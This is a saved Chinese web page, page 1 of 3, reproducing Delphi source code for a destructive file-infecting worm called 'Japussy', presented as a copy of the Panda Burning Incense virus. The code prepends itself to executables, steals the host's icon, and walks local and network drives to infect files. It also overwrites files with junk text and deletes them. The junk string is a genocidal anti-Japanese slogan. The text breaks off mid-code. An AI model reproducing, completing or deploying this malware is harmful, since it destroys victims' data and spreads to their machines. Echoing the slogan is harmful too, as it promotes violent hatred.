⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 熊猫烧香核心源码(delphi模仿版本)-开发者网络-熊猫烧香-天极yesky-.htm

📁 Philips ARM lpc2000家族ISP下载源码集成了串口调试助手源码是个非常优秀的软件
💻 HTM
📖 第 1 页 / 共 3 页
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd">
<!-- saved from url=(0039)http://soft.yesky.com/190/3071190.shtml -->
<HTML lang=zh-CN xmlns="http://www.w3.org/1999/xhtml"><HEAD><TITLE>熊猫烧香核心源码(Delphi模仿版本)-开发者网络-熊猫烧香-天极Yesky</TITLE>
<META content=熊猫烧香核心源码(Delphi模仿版本), name=description>
<META content=熊猫烧香核心源码(Delphi模仿版本), name=keywords>
<META content="天极Yesky | 全球中文IT第一门户" name=author>
<META content="天极Yesky | 全球中文IT第一门户" name=Copyright>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<META http-equiv=Content-Language content=zh-CN><LINK media=all 
href="熊猫烧香核心源码(Delphi模仿版本)-开发者网络-熊猫烧香-天极Yesky-_files/y_mobile_content.css" 
type=text/css rel=stylesheet>
<SCRIPT 
src="熊猫烧香核心源码(Delphi模仿版本)-开发者网络-熊猫烧香-天极Yesky-_files/showlay.js"></SCRIPT>

<META content="MSHTML 6.00.6000.16414" name=GENERATOR></HEAD>
<BODY><!--页面头部--><!--头部-->
<DIV id=topmenu><A href="http://www.yesky.com/">Yesky首页</A> | <A 
href="http://product.yesky.com/">产品库</A> | <A 
href="http://cseek.yesky.com/">商情</A> | <A 
href="http://mobile.yesky.com/">手机</A> | <A 
href="http://digital.yesky.com/">数码</A> | <A 
href="http://notebook.yesky.com/">笔记本</A> | <A 
href="http://pc.yesky.com/">台式机</A> | <A href="http://diy.yesky.com/">DIY硬件</A> 
| <A href="http://oa.yesky.com/">外设</A> | <A href="http://net.yesky.com/">网络</A> 
| <A href="http://dh.yesky.com/">数字家庭</A> | <A 
href="http://lab.yesky.com/">评测</A> | <A href="http://soft.yesky.com/">软件</A> | 
<A href="http://e.yesky.com/">e时代</A> | <A href="http://game.yesky.com/">游戏</A> 
| <A href="http://pic.yesky.com/">图片</A> | <A 
href="http://desktop.yesky.com/">壁纸</A> | <A href="http://hot.yesky.com/">网摘</A> 
| <A href="http://my.yesky.com/">社区</A> | <A 
href="http://blog.yesky.com/">博客</A> | <A 
href="http://www.mydown.com/">下载</A></DIV>
<DIV id=topbox>
<DIV class=tleft><A href="http://www.yesky.com/"><IMG alt=天极Yesky_全球中文IT第一门户 
src="熊猫烧香核心源码(Delphi模仿版本)-开发者网络-熊猫烧香-天极Yesky-_files/logo.gif" 
border=0></A></DIV>
<DIV class=tad><SPAN id=ad1></SPAN></DIV>
<DIV id=search>
<DIV>
<FORM name=searchform action=http://search.chinabyte.com/search method=get 
target=_blank><INPUT id=searchzz onmouseover=this.focus() onfocus=this.select() 
name=q><INPUT type=hidden value=GB2312 name=encoding><INPUT type=hidden 
value=connect name=dir><INPUT type=hidden value=20002 name=cid><INPUT id=search_btn type=submit value=天极搜索> </FORM></DIV>
<DIV class=tdq>
<DIV class=rightarea><A href="http://bj.yesky.com/">北京</A> <A 
href="http://hd.yesky.com/">上海</A> <A href="http://gd.yesky.com/">广东</A><BR><A 
href="http://cq.yesky.com/">重庆</A> <A href="http://cd.yesky.com/">成都</A> <A 
href="http://sy.yesky.com/">沈阳</A> </DIV>
<DIV class=rightarea_right><A 
href="http://my.yesky.com/">用户<BR>登录</A></DIV></DIV></DIV>
<DIV class=tright>
<OBJECT 
codeBase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0 
height=90 width=174 classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000><PARAM NAME="movie" VALUE="http://www.yesky.com/TLimages/z/070202_174_90.swf"><PARAM NAME="quality" VALUE="high">
            <embed src="http://www.yesky.com/TLimages/z/070202_174_90.swf" 
quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" 
type="application/x-shockwave-flash" width="174" 
height="90"></embed></OBJECT></DIV></DIV>
<DIV id=childmenu><A href="http://soft.yesky.com/">软件频道&gt;</A><A 
href="http://design.yesky.com/">设计在线</A><A 
href="http://tools.yesky.com/">工具软件</A><A href="http://os.yesky.com/">操作系统</A><A 
href="http://dev.yesky.com/">程序开发</A><A 
href="http://soft.yesky.com/office/">办公软件</A><A 
href="http://homepage.yesky.com/">网页陶吧</A><A 
href="http://soft.yesky.com/security/">网络安全</A><A 
href="http://edu.yesky.com/">IT教育</A>|<A 
href="http://soft.yesky.com/lesson/">专题教程</A><A 
href="http://bbs.yesky.com/soft/">软件论坛</A><A 
href="http://www.mydown.com/soft/">软件下载</A></DIV><!--导航条-->
<DIV id=location>
<DIV class=loleft>您现在的位置: <A href="http://www.yesky.com/">天极Yesky</A> &gt; <A 
href="http://soft.yesky.com/">软件</A> &gt; <A 
href="http://dev.yesky.com/">开发者网络</A> &gt; 熊猫烧香核心源码(Delphi模仿版本)</DIV>
<DIV class=adright><SPAN id=ad2></SPAN></DIV></DIV><!--内容块开始-->
<DIV id=conbox><!--左边开始-->
<DIV id=conleft>
<DIV id=contopla1>
<DIV id=__001>
<DIV class=qkong></DIV>
<DIV class=qw1>全文</DIV>
<DIV class=zkong>
<DIV class=kl></DIV>
<DIV class=bj><A href="http://soft.yesky.com/190/3071190.shtml#pls" 
target=_self>评论</A></DIV>
<DIV class=kr></DIV>
<SCRIPT type=text/javascript>
var titiepic ="#";
if (titiepic!="#")
{
document.write("<div class=\"kl\"></div><div class=\"bj\"><a href=\"#\" target=\"_blank\">图片</a></div><div class=\"kr\"></div>");
}
</SCRIPT>
</DIV></DIV></DIV>
<DIV class=topadbg><SPAN id=ad10></SPAN></DIV><A name=top></A>
<DIV id=contitle>
<H1>熊猫烧香核心源码(Delphi模仿版本)</H1></DIV>
<DIV id=conauthor><SPAN>2007-02-07 08:15 </SPAN><SPAN>作者: </SPAN><SPAN>出处: 天极网 
</SPAN><SPAN>责任编辑:<A title=向本编辑提问 
href="http://comments.yesky.com/t/%C1%FA%B6%BF/6,324/3071190.shtml" 
target=_blank>龙犊</A> </SPAN></DIV>
<DIV class=topadbg><SPAN id=ad9></SPAN></DIV>
<DIV id=conneirong><SPAN id=ad3></SPAN>
<DIV class=guanggao><SPAN 
id=contentAdv></SPAN></DIV>本文来自互联网,仅供学习和研究使用,后果自行负责,造成的任何损失与本站无关,特此声明。<BR>program 
Japussy;<BR>uses<BR>&nbsp; Windows, SysUtils, Classes, Graphics, ShellAPI{, 
Registry};<BR>const<BR>&nbsp; HeaderSize = 82432;&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //病毒体的大小<BR>&nbsp; IconOffset = $12EB8;&nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //PE文件主图标的偏移量<BR>&nbsp; 
<BR>&nbsp; //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同<BR>&nbsp; 
//查找2800000020的十六进制字符串可以找到主图标的偏移量<BR>&nbsp; <BR>{<BR>&nbsp; HeaderSize = 
38912;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
//Upx压缩过病毒体的大小<BR>&nbsp; IconOffset = $92BC;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; //Upx压缩过PE文件主图标的偏移量<BR>&nbsp; <BR>&nbsp; //Upx 1.24W 
用法: upx -9 --8086 Japussy.exe<BR>}<BR>&nbsp; IconSize&nbsp; = $2E8;&nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //PE文件主图标的大小--744字节<BR>&nbsp; 
IconTail&nbsp; = IconOffset + IconSize;&nbsp; //PE文件主图标的尾部<BR>&nbsp; ID&nbsp; 
&nbsp; &nbsp; &nbsp; = $44444444;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; //感染标记<BR>&nbsp; <BR>&nbsp; //垃圾码,以备写入<BR>&nbsp; Catchword = 'If a race 
need to be killed out, it must be Yamato. ' +<BR>&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; 'If a country need to be destroyed, it must be Japan! ' 
+<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '*** W32.Japussy.Worm.A 
***';<BR>{$R *.RES}<BR>function RegisterServiceProcess(dwProcessID, dwType: 
Integer): Integer; <BR>&nbsp; stdcall; external 'Kernel32.dll'; 
//函数声明<BR>var<BR>&nbsp; TmpFile: string;<BR>&nbsp; Si:&nbsp; &nbsp; &nbsp; 
STARTUPINFO;<BR>&nbsp; Pi:&nbsp; &nbsp; &nbsp; PROCESS_INFORMATION;<BR>&nbsp; 
IsJap:&nbsp; Boolean = False; //日文操作系统标记<BR>{ 判断是否为Win9x }<BR>function IsWin9x: 
Boolean;<BR>var<BR>&nbsp; Ver: TOSVersionInfo;<BR>begin<BR>&nbsp; Result := 
False;<BR>&nbsp; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);<BR>&nbsp; if 
not GetVersionEx(Ver) then<BR>&nbsp; &nbsp; Exit;<BR>&nbsp; if (Ver.dwPlatformID 
= VER_PLATFORM_WIN32_WINDOWS) then //Win9x<BR>&nbsp; &nbsp; Result := 
True;<BR>end;<BR>{ 在流之间复制 }<BR>procedure CopyStream(Src: TStream; sStartPos: 
Integer; Dst: TStream;<BR>&nbsp; dStartPos: Integer; Count: 
Integer);<BR>var<BR>&nbsp; sCurPos, dCurPos: Integer;<BR>begin<BR>&nbsp; sCurPos 
:= Src.Position;<BR>&nbsp; dCurPos := Dst.Position;<BR>&nbsp; 
Src.Seek(sStartPos, 0);<BR>&nbsp; Dst.Seek(dStartPos, 0);<BR>&nbsp; 
Dst.CopyFrom(Src, Count);<BR>&nbsp; Src.Seek(sCurPos, 0);<BR>&nbsp; 
Dst.Seek(dCurPos, 0);<BR>end;<BR>{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }<BR>procedure 
ExtractFile(FileName: string);<BR>var<BR>&nbsp; sStream, dStream: 
TFileStream;<BR>begin<BR>&nbsp; try<BR>&nbsp; &nbsp; sStream := 
TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);<BR>&nbsp; &nbsp; 
try<BR>&nbsp; &nbsp; &nbsp; dStream := TFileStream.Create(FileName, 
fmCreate);<BR>&nbsp; &nbsp; &nbsp; try<BR>&nbsp; &nbsp; &nbsp; &nbsp; 
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分<BR>&nbsp; &nbsp; &nbsp; &nbsp; 
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);<BR>&nbsp; &nbsp; &nbsp; 
finally<BR>&nbsp; &nbsp; &nbsp; &nbsp; dStream.Free;<BR>&nbsp; &nbsp; &nbsp; 
end;<BR>&nbsp; &nbsp; finally<BR>&nbsp; &nbsp; &nbsp; sStream.Free;<BR>&nbsp; 
&nbsp; end;<BR>&nbsp; except<BR>&nbsp; end;<BR>end;<BR>{ 填充STARTUPINFO结构 
}<BR>procedure FillStartupInfo(var Si: STARTUPINFO; State: 
Word);<BR>begin<BR>&nbsp; Si.cb := SizeOf(Si);<BR>&nbsp; Si.lpReserved := 
nil;<BR>&nbsp; Si.lpDesktop := nil;<BR>&nbsp; Si.lpTitle := nil;<BR>&nbsp; 
Si.dwFlags := STARTF_USESHOWWINDOW;<BR>&nbsp; Si.wShowWindow := State;<BR>&nbsp; 
Si.cbReserved2 := 0;<BR>&nbsp; Si.lpReserved2 := nil;<BR>end;<BR>{ 发带毒邮件 
}<BR>procedure SendMail;<BR>begin<BR>&nbsp; //哪位仁兄愿意完成之?<BR>end;<BR>{ 感染PE文件 
}<BR>procedure InfectOneFile(FileName: string);<BR>var<BR>&nbsp; HdrStream, 
SrcStream: TFileStream;<BR>&nbsp; IcoStream, DstStream: TMemoryStream;<BR>&nbsp; 
iID: LongInt;<BR>&nbsp; aIcon: TIcon;<BR>&nbsp; Infected, IsPE: 
Boolean;<BR>&nbsp; i: Integer;<BR>&nbsp; Buf: array[0..1] of 
Char;<BR>begin<BR>&nbsp; try //出错则文件正在被使用,退出<BR>&nbsp; &nbsp; if 
CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染<BR>&nbsp; &nbsp; &nbsp; 
Exit;<BR>&nbsp; &nbsp; Infected := False;<BR>&nbsp; &nbsp; IsPE&nbsp; &nbsp; := 
False;<BR>&nbsp; &nbsp; SrcStream := TFileStream.Create(FileName, 
fmOpenRead);<BR>&nbsp; &nbsp; try<BR>&nbsp; &nbsp; &nbsp; for i := 0 to $108 do 
//检查PE文件头<BR>&nbsp; &nbsp; &nbsp; begin<BR>&nbsp; &nbsp; &nbsp; &nbsp; 
SrcStream.Seek(i, soFromBeginning);<BR>&nbsp; &nbsp; &nbsp; &nbsp; 
SrcStream.Read(Buf, 2);<BR>&nbsp; &nbsp; &nbsp; &nbsp; if (Buf[0] = #80) and 
(Buf[1] = #69) then //PE标记<BR>&nbsp; &nbsp; &nbsp; &nbsp; begin<BR>&nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; IsPE := True; //是PE文件<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
Break;<BR>&nbsp; &nbsp; &nbsp; &nbsp; end;<BR>&nbsp; &nbsp; &nbsp; end;<BR><SPAN 
style="FONT-SIZE: 1pt; COLOR: white">// 本文转自 C++Builder 研究 - 
http://www.ccrun.com/article.asp?i=1009&amp;d=72ladj</SPAN><BR>&nbsp; &nbsp; 
&nbsp; SrcStream.Seek(-4, soFromEnd); //检查感染标记<BR>&nbsp; &nbsp; &nbsp; 
SrcStream.Read(iID, 4);<BR>&nbsp; &nbsp; &nbsp; if (iID = ID) or (SrcStream.Size 
&lt; 10240) then //太小的文件不感染<BR>&nbsp; &nbsp; &nbsp; &nbsp; Infected := 
True;<BR>&nbsp; &nbsp; finally<BR>&nbsp; &nbsp; &nbsp; SrcStream.Free;<BR>&nbsp; 
&nbsp; end;<BR>&nbsp; &nbsp; if Infected or (not IsPE) then 
//如果感染过了或不是PE文件则退出<BR>&nbsp; &nbsp; &nbsp; Exit;<BR>&nbsp; &nbsp; IcoStream := 
TMemoryStream.Create;<BR>&nbsp; &nbsp; DstStream := 
TMemoryStream.Create;<BR>&nbsp; &nbsp; try<BR>&nbsp; &nbsp; &nbsp; aIcon := 
TIcon.Create;<BR>&nbsp; &nbsp; &nbsp; try<BR>&nbsp; &nbsp; &nbsp; &nbsp; 
//得到被感染文件的主图标(744字节),存入流<BR>&nbsp; &nbsp; &nbsp; &nbsp; 
aIcon.ReleaseHandle;<BR>&nbsp; &nbsp; &nbsp; &nbsp; aIcon.Handle := 
ExtractIcon(HInstance, PChar(FileName), 0);<BR>&nbsp; &nbsp; &nbsp; &nbsp; 
aIcon.SaveToStream(IcoStream);<BR>&nbsp; &nbsp; &nbsp; finally<BR>&nbsp; &nbsp; 
&nbsp; &nbsp; aIcon.Free;<BR>&nbsp; &nbsp; &nbsp; end;<BR>&nbsp; &nbsp; &nbsp; 
SrcStream := TFileStream.Create(FileName, fmOpenRead);<BR>&nbsp; &nbsp; &nbsp; 
//头文件<BR>&nbsp; &nbsp; &nbsp; HdrStream := TFileStream.Create(ParamStr(0), 
fmOpenRead or fmShareDenyNone);<BR>&nbsp; &nbsp; &nbsp; try<BR>&nbsp; &nbsp; 
&nbsp; &nbsp; //写入病毒体主图标之前的数据<BR>&nbsp; &nbsp; &nbsp; &nbsp; 
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);<BR>&nbsp; &nbsp; &nbsp; 
&nbsp; //写入目前程序的主图标<BR>&nbsp; &nbsp; &nbsp; &nbsp; CopyStream(IcoStream, 22, 
DstStream, IconOffset, IconSize);<BR>&nbsp; &nbsp; &nbsp; &nbsp; 
//写入病毒体主图标到病毒体尾部之间的数据<BR>&nbsp; &nbsp; &nbsp; &nbsp; CopyStream(HdrStream, 
IconTail, DstStream, IconTail, HeaderSize - IconTail);<BR>&nbsp; &nbsp; &nbsp; 
&nbsp; //写入宿主程序<BR>&nbsp; &nbsp; &nbsp; &nbsp; CopyStream(SrcStream, 0, 
DstStream, HeaderSize, SrcStream.Size);<BR>&nbsp; &nbsp; &nbsp; &nbsp; 
//写入已感染的标记<BR>&nbsp; &nbsp; &nbsp; &nbsp; DstStream.Seek(0, 2);<BR>&nbsp; &nbsp; 
&nbsp; &nbsp; iID := $44444444;<BR>&nbsp; &nbsp; &nbsp; &nbsp; 
DstStream.Write(iID, 4);<BR>&nbsp; &nbsp; &nbsp; finally<BR>&nbsp; &nbsp; &nbsp; 
&nbsp; HdrStream.Free;<BR>&nbsp; &nbsp; &nbsp; end;<BR>&nbsp; &nbsp; 
finally<BR>&nbsp; &nbsp; &nbsp; SrcStream.Free;<BR>&nbsp; &nbsp; &nbsp; 
IcoStream.Free;<BR>&nbsp; &nbsp; &nbsp; DstStream.SaveToFile(FileName); 
//替换宿主文件<BR>&nbsp; &nbsp; &nbsp; DstStream.Free;<BR>&nbsp; &nbsp; end;<BR>&nbsp; 
except;<BR>&nbsp; end;<BR>end;<BR><BR>{ 将目标文件写入垃圾码后删除 }<BR>procedure 
SmashFile(FileName: string);<BR>var<BR>&nbsp; FileHandle: Integer;<BR>&nbsp; i, 
Size, Mass, Max, Len: Integer;<BR>begin<BR>&nbsp; try<BR>&nbsp; &nbsp; 
SetFileAttributes(PChar(FileName), 0); //去掉只读属性<BR>&nbsp; &nbsp; FileHandle := 
FileOpen(FileName, fmOpenWrite); //打开文件<BR>&nbsp; &nbsp; try<BR>&nbsp; &nbsp; 
&nbsp; Size := GetFileSize(FileHandle, nil); //文件大小<BR>&nbsp; &nbsp; &nbsp; i := 
0;<BR>&nbsp; &nbsp; &nbsp; Randomize;<BR>&nbsp; &nbsp; &nbsp; Max := Random(15); 
//写入垃圾码的随机次数<BR>&nbsp; &nbsp; &nbsp; if Max &lt; 5 then<BR>&nbsp; &nbsp; &nbsp; 
&nbsp; Max := 5;<BR>&nbsp; &nbsp; &nbsp; Mass := Size div Max; 
//每个间隔块的大小<BR>&nbsp; &nbsp; &nbsp; Len := Length(Catchword);<BR>&nbsp; &nbsp; 
&nbsp; while i &lt; Max do<BR>&nbsp; &nbsp; &nbsp; begin<BR>&nbsp; &nbsp; &nbsp; 
&nbsp; FileSeek(FileHandle, i * Mass, 0); //定位<BR>&nbsp; &nbsp; &nbsp; &nbsp; 
//写入垃圾码,将文件彻底破坏掉<BR>&nbsp; &nbsp; &nbsp; &nbsp; FileWrite(FileHandle, Catchword, 
Len);<BR>&nbsp; &nbsp; &nbsp; &nbsp; Inc(i);<BR>&nbsp; &nbsp; &nbsp; 
end;<BR>&nbsp; &nbsp; finally<BR>&nbsp; &nbsp; &nbsp; FileClose(FileHandle); 
//关闭文件<BR>&nbsp; &nbsp; end;<BR>&nbsp; &nbsp; DeleteFile(PChar(FileName)); 
//删除之<BR>&nbsp; except<BR>&nbsp; end;<BR>end;<BR>{ 获得可写的驱动器列表 }<BR>function 
GetDrives: string;<BR>var<BR>&nbsp; DiskType: Word;<BR>&nbsp; D: Char;<BR>&nbsp; 
Str: string;<BR>&nbsp; i: Integer;<BR>begin<BR>&nbsp; for i := 0 to 25 do 
//遍历26个字母<BR>&nbsp; begin<BR>&nbsp; &nbsp; D := Chr(i + 65);<BR>&nbsp; &nbsp; 
Str := D + ':';<BR>&nbsp; &nbsp; DiskType := GetDriveType(PChar(Str));<BR>&nbsp; 
&nbsp; //得到本地磁盘和网络盘<BR>&nbsp; &nbsp; if (DiskType = DRIVE_FIXED) or (DiskType = 
DRIVE_REMOTE) then<BR>&nbsp; &nbsp; &nbsp; Result := Result + D;<BR>&nbsp; 
end;<BR>end;<BR>{ 遍历目录,感染和摧毁文件 }<BR>procedure LoopFiles(Path, Mask: 
string);<BR>var<BR>&nbsp; i, Count: Integer;<BR>&nbsp; Fn, Ext: 
string;<BR>&nbsp; SubDir: TStrings;<BR>&nbsp; SearchRec: TSearchRec;<BR>&nbsp; 
Msg: TMsg;<BR>&nbsp; function IsValidDir(SearchRec: TSearchRec): 
Integer;<BR>&nbsp; begin<BR>&nbsp; &nbsp; if (SearchRec.Attr &lt;&gt; 16) 
and&nbsp; (SearchRec.Name &lt;&gt; '.') and<BR>&nbsp; &nbsp; &nbsp; 
(SearchRec.Name &lt;&gt; '..') then<BR>&nbsp; &nbsp; &nbsp; Result := 0 
//不是目录<BR>&nbsp; &nbsp; else if (SearchRec.Attr = 16) and&nbsp; (SearchRec.Name 
&lt;&gt; '.') and<BR>&nbsp; &nbsp; &nbsp; (SearchRec.Name &lt;&gt; '..') 
then<BR>&nbsp; &nbsp; &nbsp; &nbsp; Result := 1 //不是根目录<BR>&nbsp; &nbsp; else 
Result := 2; //是根目录<BR>&nbsp; end;<BR>begin<BR>&nbsp; if (FindFirst(Path + Mask, 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -